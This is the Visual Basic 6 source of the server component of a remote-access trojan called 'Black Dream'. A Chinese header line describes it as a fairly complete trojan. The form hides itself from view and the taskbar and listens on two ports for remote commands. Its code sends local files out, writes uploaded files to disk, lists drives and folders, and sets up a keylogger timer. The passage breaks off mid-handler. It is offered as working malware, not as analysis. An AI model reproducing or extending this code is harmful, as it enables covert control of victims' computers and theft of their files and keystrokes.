server.frm

一个较为完整的VB木马程序。只是文件上传功能还不太完善。

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Server 
   BorderStyle     =   0  'None
   Caption         =   "Black Dream"
   ClientHeight    =   4215
   ClientLeft      =   5865
   ClientTop       =   1410
   ClientWidth     =   3810
   BeginProperty Font 
      Name            =   "Tahoma"
      Size            =   8.25
      Charset         =   0
      Weight          =   400
      Underline       =   0   'False
      Italic          =   0   'False
      Strikethrough   =   0   'False
   EndProperty
   Icon            =   "Server.frx":0000
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   4215
   ScaleWidth      =   3810
   ShowInTaskbar   =   0   'False
   StartUpPosition =   2  '屏幕中心
   Begin VB.Timer TimerFileListen 
      Interval        =   1
      Left            =   240
      Top             =   2280
   End
   Begin MSWinsockLib.Winsock WinsockData 
      Left            =   720
      Top             =   2880
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      LocalPort       =   4433
   End
   Begin VB.DirListBox ListDir 
      Height          =   315
      Left            =   1320
      TabIndex        =   2
      TabStop         =   0   'False
      Top             =   3000
      Visible         =   0   'False
      Width           =   2175
   End
   Begin VB.FileListBox FileList 
      Height          =   285
      Left            =   1320
      TabIndex        =   1
      TabStop         =   0   'False
      Top             =   2640
      Visible         =   0   'False
      Width           =   2175
   End
   Begin VB.DriveListBox DriveList 
      Height          =   315
      Left            =   1320
      TabIndex        =   0
      TabStop         =   0   'False
      Top             =   2280
      Visible         =   0   'False
      Width           =   2175
   End
   Begin VB.Timer KeyloggerTimer 
      Enabled         =   0   'False
      Interval        =   2000
      Left            =   240
      Top             =   3480
   End
   Begin VB.Timer Timer 
      Interval        =   1
      Left            =   240
      Top             =   2880
   End
   Begin MSWinsockLib.Winsock WinsockCtl 
      Left            =   720
      Top             =   2280
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      LocalPort       =   4432
   End
   Begin VB.Label Label1 
      AutoSize        =   -1  'True
      BackStyle       =   0  'Transparent
      Caption         =   "这是一个完全不可见的服务器端程序"
      BeginProperty Font 
         Name            =   "华文中宋"
         Size            =   12
         Charset         =   134
         Weight          =   700
         Underline       =   0   'False
         Italic          =   -1  'True
         Strikethrough   =   0   'False
      EndProperty
      Height          =   285
      Left            =   120
      TabIndex        =   3
      Top             =   120
      Width           =   4425
      WordWrap        =   -1  'True
   End
End
Attribute VB_Name = "Server"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim TransferFileOpen As Boolean
Dim TransferFileName As String
Dim EndKeylogger As Boolean
Dim AppendToFile As Boolean
Dim LoadedSize As Boolean
Dim FileBinary As String
Dim FileNumber As Long
Dim TotalBytes As Long
Dim FoundBytes As Long
Dim GotBytes As Long

Private Sub WinsockData_Close()
    WinsockData.Close
End Sub

Private Sub WinsockData_Connect()
    If WinsockData.State <> 7 Then WinsockData.Close
End Sub

Private Sub WinsockData_ConnectionRequest(ByVal requestID As Long)
    WinsockData.Close
    WinsockData.Accept requestID
End Sub

Private Sub WinsockData_DataArrival(ByVal BytesTotal As Long)

    On Error GoTo FinaliseError
    
    WaitTime = 0
    Do Until WaitTime = 1
        WaitTime = WaitTime + 1: DoEvents
        Loop 'Pausing it helps the file be written before the next data blocks arrive
    
    If TransferFileOpen = False Then
        LoadedSize = False
        FoundBytes = 0
        GotBytes = 0
        FileBinary = ""
        FileNumber = FreeFile
        Open TransferFileName For Binary Access Write As #FileNumber
            TransferFileOpen = True
            AppendToFile = True
    Else
        DoEvents
    End If
    
    Dim Data As String
    WinsockData.GetData Data

    If LoadedSize = False Then
        TotalBytes = CLng(Right(Data, Len(Data) - 1))
        LoadedSize = True
    Else
        If AppendToFile = True Then
            GotBytes = GotBytes + Len(Data)
            If GotBytes >= TotalBytes Then
                AppendToFile = False
                Put #FileNumber, , Left(Data, Len(Data) - (GotBytes - TotalBytes))
                Close #FileNumber
                TransferFileOpen = False
            Else
                FoundBytes = FoundBytes + Len(Data)
                Put #FileNumber, , Data
            End If
        End If
    End If
    
    Exit Sub
    
FinaliseError:
    
    Close #FileNumber
    WinsockData.Close

End Sub

Private Sub WinsockData_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    WinsockData.Close
End Sub

Private Sub Send_File(FileName As String)
    
    Dim FileNumber As Integer
    Dim FileBinary As String
    Dim BlockSize As Integer
    
    FileNumber = FreeFile
    Open FileName For Binary As #FileNumber
        
        BlockSize = 2048
        FileBinary = Space(BlockSize)
        WinsockData.SendData ";" & LOF(FileNumber)

        '{
        WaitTime = 0                'This creates a pause so the size is sent in time to Client
        Do Until WaitTime = 1000    'so the file binary doesn't add onto the end of the size
            DoEvents:               'and become a type mismatch
            WaitTime = WaitTime + 1: Loop
        '}
        
        Do
            Get #FileNumber, , FileBinary
            WinsockData.SendData FileBinary
            DoEvents: Loop Until EOF(FileNumber)
            
    Close #FileNumber

End Sub

Private Sub LoadCDRomdata()
    On Error Resume Next
    SendMCIString "close all", False
    If (SendMCIString("open cdaudio alias cd wait shareable", True) = False) Then
        'Do nothing
    End If
    SendMCIString "set cd time format tmsf wait", True
End Sub

Private Sub Form_Load()
    Me.Hide
    If App.PrevInstance = True Then End
    LoadCDRomdata
    EndKeylogger = True
End Sub

Private Sub Timer_Timer()
    On Error Resume Next
    WinsockCtl.Listen
End Sub

Private Sub TimerFileListen_Timer()
    On Error Resume Next
    WinsockData.Listen
End Sub

Private Sub WinsockCtl_Close()
    If WinsockCtl.State <> 7 Then WinsockCtl.Close
End Sub

Private Sub WinsockCtl_ConnectionRequest(ByVal requestID As Long)
    If WinsockCtl.State <> sckClosed Then WinsockCtl.Close
    WinsockCtl.Accept requestID
End Sub

Private Sub WinsockCtl_DataArrival(ByVal BytesTotal As Long)
    
    On Error GoTo FinaliseError
    
    Dim FileBinary As String
    Dim FileNumber As Long
    
    Dim RegVal0(0 To 13) As String
    
    Dim SendString As String
    Dim SendData As String
    
    Dim CountVal As Long
    Dim LastLen  As Long
    Dim val01 As String
    Dim val02 As String
    Dim val03 As String
    
    WinsockCtl.GetData SendData
    
    FileList.Refresh
    DriveList.Refresh
    ListDir.Refresh
    
    If Left(SendData, 17) = "[LOAD DRIVE DATA]" Then
        SendString = "[DRIVE LIST]" & DriveList.ListCount
        For M = 0 To DriveList.ListCount - 1
            SendString = SendString & Chr(0) & DriveList.List(M)
        Next M
        WinsockCtl.SendData SendString
    End If
    
    If Left(SendData, 18) = "[LOAD FOLDER DEFA]" Then
        FolderPath = Mid(SendData, 19, Len(SendData) - 18)
        ListDir.Path = "C:"
        SendString = ""
        For M = 0 To ListDir.ListCount - 1
            SendString = SendString & Chr(0) & ListDir.List(M)
        Next M
        SendString = SendString & Chr(0)
        If Len(SendString) < 4000 Then